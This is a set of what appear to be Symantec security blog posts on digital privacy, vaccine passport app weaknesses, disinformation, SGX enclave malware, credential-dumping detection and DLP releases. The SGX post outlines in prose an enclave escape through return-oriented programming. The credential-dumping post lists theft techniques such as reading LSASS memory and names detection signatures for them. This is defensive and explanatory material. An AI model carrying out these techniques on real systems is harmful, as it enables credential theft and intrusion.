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Digital Privacy and the Right to be Protected
With our digital privacy at risk in unprecedented ways, there’s new urgency to find ways to safeguard people's digital life
Is digital privacy a right or privilege for individuals? The answer depends on various factors, including regional regulations, geography, culture, and financial agreements between users and services. These are just a few of the considerations that may influence one’s viewpoint on the desirable, expected and demanded level of digital privacy.
Despite such differences, there is a growing public concern about digital privacy. People are starting to realize how difficult it is for the average person to keep track of what sensitive information has been collected about them and who has access to it. Moreover, the digital footprint of an individual is steadily growing like a ripple effect, spreading to untraceable corners of the Internet. The ways that information can be used (legitimately or maliciously), shared, monetized, combined, correlated and mined may potentially lead to unintended, or even catastrophic, consequences for an individual’s personal and financial well-being as well as for society as a whole.
Our digital privacy is at risk in unprecedented ways. Personal data can affect our reputations, it can be used to exercise control over us and in the wrong hands, it can cause great harm. People need a partner to safeguard their identity and defend them from nefarious actors. They need help identifying the important elements of their digital life that need to be kept private and secure.
Since its inception, Symantec has built the company on protecting people and companies online, and now Symantec Research Labs (SRL) has made privacy and identity one of its central research pillars. SRL is building a new Privacy Lab in Germany dedicated to the technological advancement of digital privacy. We believe it is imperative to research the potential negative uses and long-term consequences of the collection, use and monetization of personal data online. It’s time for the industry to proactively tackle technological and ethical standards for the use of people’s personal identifying information.
Web Services – and their Discontents
Let’s consider one of the most widely used services worldwide - the Web.
Web services have become so central to people’s lives that many consider them an essential utility. An initial assessment of the current Web tracking landscape paints a bleak picture. SRL and other researchers have confirmed that third-party software is embedded in the most popular websites, monitoring people’s visits and activity by using incredibly intrusive methods to identify and track individuals. Even when anti-tracking techniques are deployed, trackers have devised creative schemes to bypass them and continue monitoring user behavior.
To make matters worse, the most popular third-party trackers (covering 91% of the Alexa-500 most popular websites) share data with each other and are owned by a handful of companies, giving unprecedented levels of detailed information on individuals to a concentrated group of companies. Yet, most consumers are not aware this is happening, nor have they given permission for their information to be used this extensively.
Web behavior tracking and data collection in the name of “service personalization” is only the beginning of how people’s personal information is gathered and monetized. The ubiquitous presence of mobile and smart devices, the increased adoption of IoT, the new mobile paradigm introduced by 5G, and changes in everyday life automation technology (e.g., home assistants, autonomous cars, fitness/health trackers, etc.) offer an unending stream of incredibly sensitive data with no standards around privacy, safety, and security of that data.
The frequency of data leaks, exploits and vulnerabilities from connected devices significantly raises the risks for both consumers and enterprises. In some extreme cases, sensitive groups, such as victims of domestic violence or human rights activists, depend on digital privacy to keep their families and homes safe.
Analysis of tracking activity associated with the browsing behavior on a regular employee laptop in Europe
As Artificial Intelligence (AI) and Machine Learning (ML) programs use aggregated personal data and behavior analytics to build and train algorithms for personalized services, retrieving personal data becomes extremely difficult. Even in cases where the raw data is protected (or even deleted), sensitive information has already been embedded into the trained model.
ML techniques vary in their ability to resist attacks targeted at harvesting the original information from the trained model. In certain cases, model inference/extraction attacks are successful in revealing portions or even the entirety of the original data. Such examples demonstrate the complexities and challenges in building privacy-preserving technology. Individuals can be exposed to implicit privacy threats that are beyond their control or understanding.
These serious (yet obscure) threats need to be addressed by the entities capable of protecting users. For instance, the “right to be forgotten” has been legislated in many places but does not explicitly address such subtle aspects of personal data usage. Symantec Research Labs intends to dive into these discrepancies and discover potential solutions.
Curated personal content from Web or social media sources has already been used to influence public opinion on important matters, such as elections, and steer individual behavior and decisions with personalized information that may or may not be true, as in the case of Cambridge Analytica.
Organizations seeking to undermine democracy can use the data to promote or silence opinions. More recently, monitoring people’s online behavior has been proposed by such governments as a key feature contributing to a “social credit score”, that will be used as a metric for eligibility to various benefits. All of these misuses underscore the urgent need for people to take back privacy control and mitigate threats to their private information.
Understanding Security Implications
But the threats are not just to consumers.
Enterprises, governments, and all organizations also have sensitive information that can be hacked. Businesses that operate utilizing sensitive data are at risk themselves of legal and financial repercussions. Enterprises must face their responsibilities to ensure business success while securing their assets and preserving privacy for customers and employees. Data inspection, data loss prevention, anomaly and insider threat detection are just a few examples of critical security operations that enterprises must take on in a responsible and accountable way. Furthermore, enterprises must consider how to comply with regulation standards, such as GDPR, while proactively anticipating emerging threats, such as AI and ML attacks.
The privacy and identity threat landscape is evolving rapidly, and it’s difficult for businesses or consumers to track and fully comprehend the implications. SRL’s Privacy Lab will help both consumers as well as organizations navigate this ever-morphing landscape.
We must begin by making people aware of the ways their privacy is at risk and enable them to make wise decisions. Safeguarding people's digital life requires empowering them with visibility and control over the ways in which their private information is being collected, secured, shared and analyzed by parties they know about as well as third-parties that people may not know have access to individuals’ personal data.
Symantec Research Labs has a long history of employing cutting-edge technology to protect individuals, companies, and data in a privacy preserving manner. With the new Privacy Lab in Germany, we believe digital privacy is a right for consumers. Therefore, we aim to help companies not only manage compliance on data protection regulations, but also become reliable stewards of the data they’ve been entrusted with by consumers and businesses. Our goal is to revolutionize privacy technology so people can reclaim control of their privacy and personally identifiable data.
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Digital Vaccine Passport App Risks: What You Need to Know
Two-thirds of the apps analyzed by Symantec exhibited risky behavior.
As the world becomes accustomed to living with COVID-19, people are increasingly having to prove they are vaccinated, often via the use of so-called digital vaccine passports containing their identity and vaccination record. Employers, restaurants, even the neighborhood bar are relying on this system to be secure, accurate, and to maintain user privacy. The person using the passport is also expecting the same thing.
With a lack of federal guidance or global policy, it has been left up to country, state, or even local municipalities to decide what passes as an "official" vaccine passport. Without clear requirements, the private and public sector providers of vaccine passport apps must tackle evaluating a technology and workflow that includes collecting the minimum amount of medical data and personal identifiable information (PII) required to prove vaccination records are legitimate.
Symantec, a division of Broadcom Software, took a look at how these digital vaccine passports work and the potential security risks and threat scenarios they present.
What is a digital vaccine passport?
A vaccine passport is a paper or digital form certifying a person has been vaccinated against a disease, in this case COVID-19. While paper passports may be used, more often the digital form is used, which may, in some cases, be only a screenshot of the results or picture directly taken of the vaccine card (this may work in some cases, although it lacks authenticity that the results are from the provider and have not been tampered with).
Digital vaccination passports have QR codes that contain and connect a user’s encoded health data (a vaccination record from a medical provider) to the vaccinated person's passport app. Issuers of the encoded vaccination data include healthcare providers and government entities. These entities follow one of two standards concerning the structure of the encoded data.
The first standard, followed primarily by issuers in the U.S. and Canada, is the SMART Health Card Framework from VCI, a broad coalition of leading healthcare and technology organizations. The second standard, recognized internationally, is the EU Digital COVID Certificate and uses the Electronic Health Certificate Container Format (HCERT).
Both standards use QR codes and are very similar as far as data structure, with one key difference as we will see below.
The tools, or validation apps, used to decode the vaccination data in the passport app QR codes are readily available. Using one of these tools, we will take a look at the data contained in one of the QR codes, using an example code from California's digital vaccine record system.
Figure 1. Sample QR code from California's digital vaccine record system
Note the "SMART" logo (Figure 1) identifying it as a SMART Health Card.
$ zbarimg qrcode_passport.png --raw --quiet
shc:/567629095243206034602924374044603122295953265460346029254077280433602
8702864716745222809286155305564710341432164324111083963210645240371337721
2638633677424237084126633945392929556404425627596537253338446120605736010
645315539723274242843574557440550766267775….
The shc:/ further identifies the SMART Health scheme and the data encodes to a JSON Web Token (JWT). Note that the data is not encrypted, simply encoded. Encoded meaning it may look like just black bars and numbers but decodes directly to the raw vaccination data.
Once decoded, we find that the data mainly contains the same data as the paper version of the vaccination record. Specifically, the full set of data, in this example, includes:
The issuer (iss): https://myvaccinerecord.cdph.ca.gov/creds
Issuance date (nbf): November 5, 2021
Vaccination claim (vc), including full name, date of birth, date of immunization, and the vaccine batch
The "signature" of the issuer for validation
$ zbarimg qrcode_passport.png --raw --quiet | xargs ./jwt_tool.py --shc
JWT Token: eyJ6aXAiOiJERUYiLCJhbGciOiJFUzI1NiIsImtpZCI6IjdKdmt0VXBmMV85TlB3ZE0tNzBGSlQzWWR5VGlT[...].
3ZLdTuMwEIXfZfY2_ykpzeW[...].YCeST7-YDMawwowswFx1R_TYg_5mDVsrSXqNLckdqCY5eNriEoUaSBSu7sCF8T
Token header values:
[+] zip = "DEF"
[+] alg = "ES256"
[+] kid = "7JvktUpf1_9NPwdM-70FJT3YdyTiSe2Ivm…"
Token payload values:
[+] iss = "https://myvaccinerecord.cdph.ca.gov/creds"
[+] nbf = 1635982044 ==> TIMESTAMP = 2021-11-03 16:27:24 (UTC)
[+] vc = JSON object:
[+] type = "['https://smarthealth.cards#health-card', 'https://smarthealth.cards#immunization', 'https://smarthealth.cards#covid19']"
[+] credentialSubject = {"fhirVersion": "4.0.1", "fhirBundle": {"resourceType": "Bundle", "type": "collection", "entry": [{"fullUrl": "resource:0", "resource": {"resourceType": "Patient", "name": [{"family": "Doe", "given": ["John"]}], "birthDate": "1980-01-01"}}, {"fullUrl": "resource:1", "resource": {"resourceType": "Immunization", "status": "completed", "vaccineCode": {"coding": [{"system": "http://hl7.org/fhir/sid/cvx", "code": "208"}]}, "patient": {"reference": "resource:0"}, "occurrenceDateTime": "2021-03-01", "lotNumber": "EN6208"}}, {"fullUrl": "resource:2", "resource": {"resourceType": "Immunization", "status": "completed", "vaccineCode": {"coding": [{"system": "http://hl7.org/fhir/sid/cvx", "code": "208"}]}, "patient": {"reference": "resource:0"}, "occurrenceDateTime": "2021-04-01", "lotNumber": "ER8737"}}]}}}}
Token signature:
YCeST7-YDMawwowswFx1R_TYg_5mDVsrSXqNLckdqCY5eNriEoUaSBSu7sCF8T
It is important to note that anyone with the QR code can decode this information, as it is not encrypted. The same data can be used to copy and generate the same QR code. The signature, on the other hand, can be used to verify that the passport has not been changed or tampered with and that it came from the issuer, in this case the State of California. By providing the signature and sharing the public key, anyone can verify the vaccine passport has not been tampered with and is from the issuer.
Internationally, QR code vaccination records use the Electronic Health Certificate Container Format (HCERT). Similar to the SMART Health Card, the QR image contains a header, payload, and signature. The payload contains mostly the same vaccination record data - name, date of birth, vaccination record, and dates. The signature is also used to validate the authenticity of the digital vaccination record. However, the difference is in the header. SMART Health Cards contain a link/URL to the issuer in the header, which contains the public key used to validate the authenticity of the record using the signature. HCERT QR codes only contain the name of the issuer in the header, and it is up to the verifier app to find and store the public key from the issuer.
App risks
What are the actual data privacy risks associated with digital vaccine passports? At a minimum, the personal data they contain includes the person's name, date of birth, and vaccine status. This data may be considered medical data and, if exposed, poses a risk if obtained by scammers, who may use it for targeted phishing attacks.
Another, and arguably greater and potentially graver risk, is the validity and accuracy of the vaccine passport. Similar to traditional passports, counterfeiting or tampering with the results may in some jurisdictions result in criminal penalties. Therefore, the technology to identify digital vaccine passports must securely and accurately identify their validity and ensure the results have not been tampered with. Otherwise, people may be exposed to the virus and this could come with deadly consequences.
We analyzed 40 digital vaccine passport apps and 10 validation apps. The apps we examined were from government entities and regional health providers in multiple countries around the world.
Digital passport wallet apps
Digital vaccine passports are commonly stored on a person's mobile device inside a digital wallet. This provides the convenience of being able to quickly and easily open and show vaccination records when requested. If done right, the person can be confident the data is accurate and secure. Not done right, and the vaccination record can potentially be read by an attacker, either via a network attack or a malicious app on the user’s mobile device.
Note that our app analysis focused on publicly available mobile apps used to store vaccination records. Apple and Google also provide storage and retrieval for vaccine passports - Apple via the Health App and Google via Google Wallet - and while our findings for these solutions didn't raise any security flags, it is important to note that both rely on app sandbox protection and sharing permissions to protect vaccination records. This means that if the mobile device is compromised by an attacker, or if the user is tricked into sharing the health data, all bets are off.
Digital passport wallet apps: threat scenarios
Wallets that store data in the cloud may expose the user’s vaccination records by including hardcoded cloud credentials inside the app. During our analysis we also found wallets containing hardcoded cloud credentials, potentially exposing sensitive users’ data.
Vaccine records may also be exposed if the digital wallet app transfers data from the cloud unencrypted or insecurely.
In addition, vaccine records may be exposed if the user unknowingly shares the health data to other apps on their device, or if the vaccine records are stored insecurely on the device.
Knowing these threat scenarios, we analyzed the apps looking for risky behaviors that include:
Accesses external storage
Disables SSL certificate authority (CA) validation
Does not require HTTPS
Sends data unencrypted
Uses hardcoded cloud credentials
Out of the 40 digital passport wallet apps analyzed, 27 exhibited at least one of these risky behaviors.
Figure 2. Risky behavior performed by digital passport wallet apps
Threat App count App percentage
Accesses External Storage 17 43%
Disables SSL CA Validation 2 5%
Does Not Require HTTPS 15 38%
Sends Data Unencrypted 2 5%
Uses Amazon Hardcoded Credentials 1 3%
Grand Total 27 68%
Digital passport validation apps: threat scenarios
To verify that a vaccine passport is legitimate, validation apps exist that decode the data in the QR code and flag if the vaccination record has been tampered with.
As we saw when decoding the example QR code, a signature is contained inside the record that can be used to verify that the record is from the issuer and has not been tampered with. How do we know the QR code is from a specific health provider or issuer? Also inside the QR code is the link to the public key used to sign the record, which is then used to validate the signature.
Anyone can create a QR code and put in their own issuer links, therefore a validation app must show and/or whitelist only approved issuers. Otherwise, anyone could use a fake state or medical named issuer URL with fake vaccination record data and the validation app would blindly pass the person. This type of flaw was found in the Quebec Vaxicode Verif app in late 2021.
When transferring the public key from the issuer or health provider, the URL must be securely accessed and transferred to the mobile device running the app. If the validation app insecurely accesses the URL, an attacker may change the public key and "pass" their fake vaccination record. Or, even more deviously, change it to selectively fail other vaccination records.
Often validation apps also store the digital vaccine records, either locally or in the cloud. If that is the case, which ideally it shouldn't be, the validation apps are subject to the same risks and threat scenarios as digital wallet apps.
Knowing this, we looked for the same previously listed risky behaviors in seven validation apps available at the time of this report and found all of them to be safe. That being said, we will continue to scan new versions of those apps, as well as new validation apps, as they appear on our customers' mobile devices.
Conclusion
This is yet another reminder to always be vigilant of apps claiming to protect your privacy and identity, including digital passport wallets. Only give apps permission to private data that they require, nothing more. Whenever possible, avoid third-party apps claiming to securely store your vaccination records and instead use digital wallet solutions provided by the major mobile platforms, such as the Apple Health app and Google Wallet.
App developers should only collect and access the user data required to provide the service to the user. Developers should also understand and implement best security practices that protect the users’ private data in the cloud, in transit, and on device. Anything less may compromise your users’ privacy, expose personal medical data, and potentially undermine the legitimacy of their vaccination records entirely.
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Disinformation and Influence Campaigns on the Rise
What to do if you’re in the crosshairs
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
Over the last few years, we’ve seen a surge in online disinformation campaigns foster confusion and hurt public trust in companies and government institutions. But as experts learn more about the motives and tactics of the groups behind these campaigns, they say there are lessons that organizations can apply to avoid becoming direct or collateral targets.
“You don’t want to give the bad guys more gasoline (to throw on a fire),” said Melissa O’Leary, chief strategy officer, Fortalice Solutions.
O’Leary, speaking during a panel discussion at the RSA Conference 2021 titled “Responding to Disinformation and Influence Campaigns,” cited the example of a hospital providing information about free Covid-19 vaccinations. The hospital was subsequently hit by a slate of bad reviews coming from anti-vaxxers who included fraudulent vaccine information in their messages. O’Leary said a campaign of quiet de-escalation was implemented to bolster the hospital’s reputation and repudiate the negative disinformation.
Over the last few years, we’ve seen a surge in online disinformation campaigns foster confusion and hurt public trust in companies and government institutions.
Indeed, how a company responds to a negative campaign often turns out to be more important than the substance of the disinformation efforts against the organization, according to J.D. Work, a professor in cyber conflict and security at Marine Corps University.
“In a number of cases, the (negative) messaging will fade,” Work said. “Unfortunately, the story often becomes as much about a company’s response as the problem itself.”
As panel members grappled with the question of how best to identify disinformation campaigns and what steps to take in response, there was broad agreement about one point: to counter a disinformation campaign that’s already underway, the different areas of businesses and organizations need to collaborate and take a united front against the bad actors’ actions.
“We have to respond to the disinformation,” said Mark Aysta, the managing director of enterprise security at Duke Energy. “We have a responsibility to vet it – and even in the case of misinformation, where it might not be accurate, we have an obligation to find the facts quickly and respond to it,” he said.
O’Leary added that it’s important for an organization to be pragmatic how it goes about putting measures in place to fight back against disinformation campaigns.
“A company has a certain responsibility to protect itself,” O’Leary said. “Companies as end users certainly should have more robust intelligence centers. But many don’t have (those centers) in place because they haven’t had that moment (a disinformation attack), yet.”
O’Leary added that it’s important for an organization to be pragmatic how it goes about putting measures in place to fight back against disinformation campaigns.
O’Leary also said that when it comes to approaching company executives about a disinformation campaign, “showing, not telling” about the matter, with actual evidence, should be a priority.
“Look at competitors, and others in your industry,” he said, “and see if they are facing similar issues.”
Seeking methods to quickly respond to such threats, or even keep them from taking off, is only going to become a bigger matter for organizations who want to avoid being known for getting caught up in the disinformation industry.
“It’s not going to get any better,” Aysta said. “You have to fight with knowing what the facts are and with relationships at hand.”
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Dispelling Myths Around SGX Malware
SGX-based malware may not be as troublesome as believed. We'll explain why that is and how Symantec is ready to deal with such malware if they were to appear.
A group of security researchers from Graz University of Technology recently disclosed detailed methods of deploying attacks from inside Intel's SGX Security Enclave. The research paper received decent media attention probably due to recently discovered architecture vulnerabilities, such as Meltdown and Spectre. Researchers also released proof of concept (PoC) code for Linux that successfully escapes the securely enclosed environment.
Symantec researchers implemented a similar PoC on the Windows platform. This PoC was then used to prove that protection against such an attack is not only possible but already included in Symantec protection products for many years. Common belief is that it is practically impossible to detect SGX-escaping malware. Later on, we will explain why this claim is misleading and how our protection works.
"Protection against SGX-based malware is already integrated into Symantec products, and has been for many years. https://symc.ly/2ZHuF9t"
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SGX in a nutshell
SGX, or Software Guard Extension, was designed by Intel to provide a trusted safe environment for critical algorithms used in computer security use cases. The design principle was to place critical trusted code in a safe place where no malicious actor can manipulate it. Such critical code can involve user authentication, checking user and process privileges, or calculating digital signatures. These should be completely separated and protected from malicious actors to ensure full trust.
Intel achieved these goals by providing a secure enclave that can hold and run code. This is not to be confused with the so-called protected mode which has existed in Intel x86 architecture since the 1990s. Protected mode helps separate processes by reducing the risk of inadvertently overwriting data in another process's memory. However, that was not designed to provide protection against malicious actors.
Code in the secure enclave can be trusted because it cannot be altered by other apps or malware. Their states are always treated as known, and their code and data assumed intact at all times. Such code is therefore referred to as a trusted component.
State, code, and data of a normal app, on the other hand, cannot be guaranteed to remain unchanged by a software bus or malicious actors. They are treated as untrusted and called untrusted component. It is worth mentioning that the secure enclave protection is provided in the hardware by the CPU; it is not a software-enforced method provided by the operating system or third-party software. In fact, the operating system is running outside of the secure enclave, therefore it is treated as untrusted components.
Can Intel SGX be considered an ultimate solution for running secure code?
In software, problems always arise in the details of implementation and unknowns not considered during the design phase. It seems Intel's SGX design focused on good intentions and use cases, assuming only trusted actors will use it and therefore malware will only exist as an untrusted component. We can surmise this approach from the code installation process, which is protected by digital signatures and works on the assumption that bad actors cannot obtain signing keys or find other ways to install malicious components into the secure enclave.
Intel requires that the secure enclave code be signed by a trusted digital signature, therefore no bad guys will ever be able to install their code in there, but this approach offers little protection in reality.
According to Graz University of Technology's research, "Intel does not inspect and sign individual enclaves but rather white-lists signature keys to be used at the discretion of enclave developers for signing arbitrary enclaves." Researchers also said "a student […] independently of us found that it is easy to go through Intel’s process to obtain such signing keys" and that "the flexible launch control feature of SGXv2 allows bypassing Intel as intermediary in the enclave launch process." Malware can also infect a software developer's machine, injecting their code right into the supply chain of software products. This has been done before, as in the case of Avast CCleaner.
Digital signatures can also be overcome by brute force as these algorithms' protections are based on the limits of current computing power and technology. People often underestimate the amazing progress in computing power of new hardware, and of course the virtually unlimited power of distributed systems. The collective power of millions of computers can be hijacked by an attacker leveraging their resources for malicious activities. Through such a distributed system, an attacker could find hash collisions and in theory break the signature checks.
Intel requires that the secure enclave code be signed by a trusted digital signature, therefore no bad guys will ever be able to install their code in there, but this approach offers little protection in reality.
What happens when malicious code gets into the secure enclave?
Based on what we have discussed so far, we can assume that malicious code can—and ultimately will—be installed into the secure enclave.
At first, we might think that is okay. That's because the enclave creates a restricted environment where the code does not have normal user space and cannot run code from outside the enclave. The malicious trusted component is unable to use any operating system APIs. That means it cannot create files, write into the registry, send data over the network, or download files from the internet. Any malware residing in the secure enclave is highly limited in what it can do.
However, SGX shares portions of the untrusted component memory space. This setup provides an attack vector for malicious code. Malicious code can use known techniques to find caves—unused memory spaces—to inject code into the memory of the untrusted component. Because an untrusted component is just a normal app with all the benefits provided by Windows, injected code shares the very same privileges and runtime environment.
All the malicious trusted component needs to do is to place its own code within a cave in the executable memory space and redirect the code execution path to the cave. That can be achieved by a return-oriented programming (ROP) technique. ROP code lives on the stack as a series of addresses which will be used as return addresses. This code will be executed in sequence by calling API functions provided by the operating system and other well-known software libraries. When a trusted component returns from execution, the SGX will switch the CPU state to normal and restore the runtime environment so that the untrusted component can continue its execution. Now the return address has already been manipulated by the malware and the ROP code will perform malicious activities, including marking the code inside the cave executable and running it.
This technique is simple enough for any experienced exploit developer (good or bad actor). The target app does not even need to have vulnerabilities to be exploited.
Figure. Simplified diagram showing how a malicious SGX-installed malware could "break out" of the enclave
Could SGX enable super malware?
We have discussed how code running inside the secure enclave cannot be manipulated and can't even be read by other processes for scanning by security software. Remember, this is by design to protect against malicious intent. One might think this could allow for a new breed of super malware which cannot be detected in memory, and therefore cannot be stopped. Wrong!
To be effective, the bad code still needs to break out of the enclave using exploitation techniques we previously discussed. And that is where modern computer security solutions like the ones from Symantec come in handy. The technique used to break out of the secure enclave is a clear malicious behavior that can be easily detected by our existing technologies. The malicious code might reside inside the enclave, but it cannot get out from there—it is effectively jailed for life. It might be able to get in, but it will be blocked every time it tries to get out. It's like the plot to the movie Law Abiding Citizen, where the criminal protagonist wants to be in prison so that he can commit perfect crimes—but we change the story so that he cannot break out of his cell. The rest of the movie is about how he gets caught every single time he tries to escape, and that's how it is for malware inside the SGX enclave—trapped.
When the research was initially released, Intel reiterated SGX's value is to execute code in a protected enclave, but it does not guarantee the code executed in the said enclave comes from a trusted source. In all cases, Intel recommends utilizing programs, files, apps, and plugins from trusted sources.
As part of the Symantec protection stack, Memory Exploit Mitigation (MEM) actively monitors for exploit techniques including ROP. Upon detecting a behavior that looks like an exploitation attempt, MEM springs into action. MEM enables products like Norton Security and Symantec Endpoint Protection (SEP) to immediately stop these attacks before further system compromise occurs.
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Disrupting the Attack Chain Through Detecting Credential Dumping
Credential dumping is an essential step in the attack chain. Symantec’s defense-in-depth portfolio detects and blocks credential dumping and associated attack events.
There are various steps that an attacker must follow in order to execute any successful attack, with the initial compromise being just one stage in the overall attack chain. Once attackers have successfully breached the perimeter of an organization, they enter into the lateral movement phase where they attempt to tiptoe through a network, identifying the systems and data that are the ultimate target of their campaign.
Credential dumping is a technique frequently used by attackers during lateral movement to obtain account information, such as logins and passwords. Armed with this information, the attackers can then spread further within an organization and/or access restricted data. Attackers use a variety of different credential-dumping methods that require first obtaining administrator privileges. This process is known as privilege escalation and it must be performed before any attempts at credential dumping.
Detecting and blocking lateral movement activity is an important part of any organization's defense strategy and our Symantec portfolio provides defense-in-depth across control points. Our solutions detect and prevent credential dumping, and also protect against precursor events such as threat delivery and privilege escalation, as well as post-theft credential use.
Detecting methods of credential dumping
Credential dumping has long been used as a step in post-breach lateral movement and is listed as T1003 in the MITRE ATT&CK™ Framework. One of the challenges in protecting against all forms of credential dumping is that attackers attempt to masquerade their methods as legitimate activity, sometimes leveraging standard administrative tools to achieve the dumping. There are also easily available tools online, such as Hacktool.Mimikatz, which use a variety of methods to dump credentials.
Attempts at credential dumping can be uncovered in a variety of ways by our Symantec solutions. Here, I will discuss how our Symantec Endpoint Detection and Response (SEDR) product provides visibility into attempted credential theft by identifying a wide range of credential-dumping techniques, including:
Access to the Security Accounts Manager (SAM) area of the registry
Keylogging
Sniffing credentials from network traffic
Reading protected storage on the system
Accessing memory of user applications where user credentials are stored (e.g. mail clients, internet browsers)
Accessing credentials in the Windows Credential Manager
Abusing Kerberos Ticket-Granting Services to harvest ticket hashes for offline cracking of credentials
Injecting into Windows' Local Security Authority Subsystem Service (LSASS)
Reading LSASS memory
When any suspected credential theft is found, regardless of the specific tool used to access the credentials, SEDR reports exactly what was observed along with the relevant MITRE ATT&CK tactic (the attacker's goal) and technique (how the attacker was trying to achieve that goal):
Figure 1: SEDR showing an attempt to dump credentials via the Security Accounts Manager (SAM)
Symantec EDR will automatically pull in related activity to the credential dumping detection, in order to provide more context around the breach. SEDR leverages our Targeted Attack Analytics (TAA) technology, which combines the capabilities of our world-leading security experts with advanced artificial intelligence and machine learning to provide organizations with their own "virtual analysts". TAA correlates local events within an organization with information from Symantec’s massive global security telemetry data store to build out the full picture of attacker movement in the organization. Since its inception, TAA has detected security incidents at thousands of organizations, automating what would have taken many hours of analyst time. Examples of additional events that TAA can correlate to attempted credential dumping include:
Suspicious deployment of executable files, such as remote access tools or password harvesting tools across an enterprise through network shares or removable media
Suspicious remote execution of multi-purpose tools such as PSExec, Powershell, and Windows Management Instrumentation clients in an enterprise
Suspicious activity around Windows Administrative Shares
Suspicious activity around Windows Remote Management
Exploitation of remote services within the customer network
Subverting logon scripts to establish persistence on endpoints
In addition to the detection provided by SEDR, Symantec Endpoint Protection (SEP) uses a variety of technologies to block credential-dumping techniques, including:
Behavior analysis – performs real time analysis of all running processes
Reputation – correlates information about a program across telemetry from millions of Symantec customers
Emulation – performs pre-execution evaluation of the process's activity
Heuristics – looks for known suspicious attributes of a program that are associated with credential dumping
Machine Learning – uses techniques that mimic the human brain to identify malicious processes
Alerts from these technologies are displayed in SEP as:
SONAR.DumpSAM!gen2
SONAR.PWDumpX!gen1
SONAR.SuspInject!gen3
Pwdump
Hacktool.PasswdDumper
SONAR.Mimikatz!gen3
SONAR.Mimikatz!gen8
SONAR.Mimikatz!gen9
SONAR.Mimikatz!gen12
SONAR.Mimikatz!gen13
Hacktool.Mimikatz
Hacktool.Credix
SONAR.Powershell
Symantec Endpoint Protection and Symantec Endpoint Detection and Response are just two offerings across Symantec's defense-in-depth portfolio that can help identify and block credential theft at various points in the attack chain.
Our threat research teams continue to identify new credential dumping techniques being used in both targeted attacks as well as cyber crime activity. We look forward to sharing more both about the evolution of these attacks and about how Symantec's broad portfolio protects our customers against them.
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DLP 15.8 - Easier and More Accurate Data Classification
Enhanced integration with Microsoft Information Protection
As described in our previous blog post, Symantec DLP 15.8 has been released, offering a number of important new capabilities. This release underscores the increased commitment and investment Broadcom is making in Symantec DLP and is a testimony to the dedication and hard work of our R&D team in these exceptionally challenging times. I am excited to share with you more information in regard to the key capability relating to data classification - Symantec’s enhanced integration with Microsoft Information Protection (MIP).
There are challenges when a manual approach to data classification is used, particularly to ensure data policies are applied uniformly and accurately by everyone.
The correct classification of sensitive information is important, as the classification label can drive how to protect that data (e.g. to encrypt “Confidential” documents and block “Top Secret” documents from leaving the organization). There are challenges when a manual approach to data classification is used, particularly to ensure data policies are applied uniformly and accurately by everyone. Individual employees may not be aware of the latest data protection policy, or may be inconsistent in how they classify similar documents. This is why many organizations are looking for automated solutions that will assist end users ensuring that every document is correctly classified.
Many of Symantec’s customers use Microsoft Information Protection (MIP) for document classification and encryption. However, using classification systems, such as MIP can create challenges for customers such as:
The policy rule sets tend to be more limited and simplistic compared with the policy framework provided by an enterprise-grade DLP system.
Customers are required to develop a mirrored set of rule based policies to deliver automated classification.
To avoid these problems, organizations see benefits in taking the policies that already exist in Symantec DLP and applying them to MIP. This approach allows customers to define the policy in one place (avoiding policy gaps and duplicated effort) and use that same policy to ensure documents are classified correctly, in a way that scales. With an industry-leading content detection technology like Symantec DLP 15.8, customers can extend their robust and well-defined DLP policies to assist in applying the correct classification labels to documents.
What’s New
With the release of DLP 15.8 we have enhanced our integration with MIP. Customers can now:
Extend their DLP policies to automatically suggest or enforce MIP labels within office documents on Endpoints
Have the ability to write DLP policies that look for MIP classification labels on documents and Outlook Emails
Leverage DLP Endpoint to read MIP protected documents and Outlook emails on Endpoints and apply DLP policies to them
Real World Scenarios
Here are some examples where this integration comes into play:
A user in an organization creates some design documents in Microsoft Word. The organization policy has guidelines and recommendations for its users to appropriately mark documents that contain design artifacts as “Confidential”. This position is reflected in the organization’s DLP policy which has been set to look for such content and based on the degree of match, the endpoint will suggest the use of the “Confidential” label. Once the "Confidential" label has been correctly applied, MIP is able to ensure that the document is encrypted.
A user in an organization’s sales division, puts together a Microsoft Excel document containing quarterly sales figures. The document includes customer information like Customer Name, Phone Numbers, etc. The organization’s policy considers this information as sensitive and requires classification of documents containing such information as “Top Secret”. Because the organization’s DLP policy has been defined to enforce this classification, the endpoint will make sure that the Excel document gets labelled and protected appropriately.
Many enterprise customers will find these enhancements to our MIP integration to be highly useful. The list of new capabilities we are adding in the release of Symantec DLP 15.8 is extensive and you can refer to our previous blogs for more on updates and other features we have added. As we have shown, Symantec will continue to be your trusted advisor in cyber security and be there to help keep your business safe.
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DLP 16 Enhanced Now Available
Upgrade to Symantec DLP 16.0 RU1 for all the latest features
An upgrade to DLP 16.0 RU1 provides important enhancements over and above those provided with DLP 16.0. Symantec DLP 16.0 was released in September 2022, introducing a rich set of data protection capabilities. After two subsequent maintenance updates, we’re happy to announce that DLP 16.0 Release Update 1 (RU1) is now available.
Updating software across an enterprise requires care, and there can therefore be a justified degree of caution about adopting newer versions. Rest assured, you can upgrade to DLP 16.0 RU1 safe in the knowledge that it builds on the previous two Maintenance Packs.
Those who have already moved to DLP 16.0 are benefiting from enhanced incident response, improved compliance, high-speed discovery and extended support for non-Windows platforms. Customers have also been able to create dynamic policies that combine device location (network status), user risk, and data discovery - supporting their Zero Trust goals.
With DLP 16 RU1 we have gone further, offering the following enhancements to our leading DLP solution:
Achieving Parity between Windows and Mac Endpoint Agents with Mac User Cancel
By achieving feature parity between the Windows and Mac compatible Symantec DLP Endpoint Agents, we make it very simple for DLP Administrators to deploy and manage across a mixed Windows and Mac estate. Policy creation and deployment is simpler and stronger. This release delivers a new feature for the Mac endpoint agent, with support for the user cancel response rule, in addition to our current support for block and notify today.
New Detection for access keys, secrets and certificate keys to reduce accidental data loss and system compromise
Enhanced detection using a new set of out-of-the-box data identifiers detect IaaS application API keys and secrets, SaaS application access tokens, Database connection strings, as well as private keys for certificates.
Extending support for EDAR scans to Ubuntu Linux Agent
To help customers support a wider range of Linux operating systems, we now offer a certified, packaged agent that supports Ubuntu. Customers are now able toto perform data discovery scans on this distribution.
Ability to view Enforce audit logs & download them via API
DLP admins can use the Enforce console to view and download audit logs, helping them manage and report against their compliance program. The audit logs can also be downloaded using APIs.
Manage more URL domains in the allowed domain list
Administrators can now add more URL domains to the allowed domain list for browser monitoring because of the increased HTTP/s domain filter size limit in agent configuration page. This gives administrators greater flexibility and capacity for configuring actions against trusted URLs.
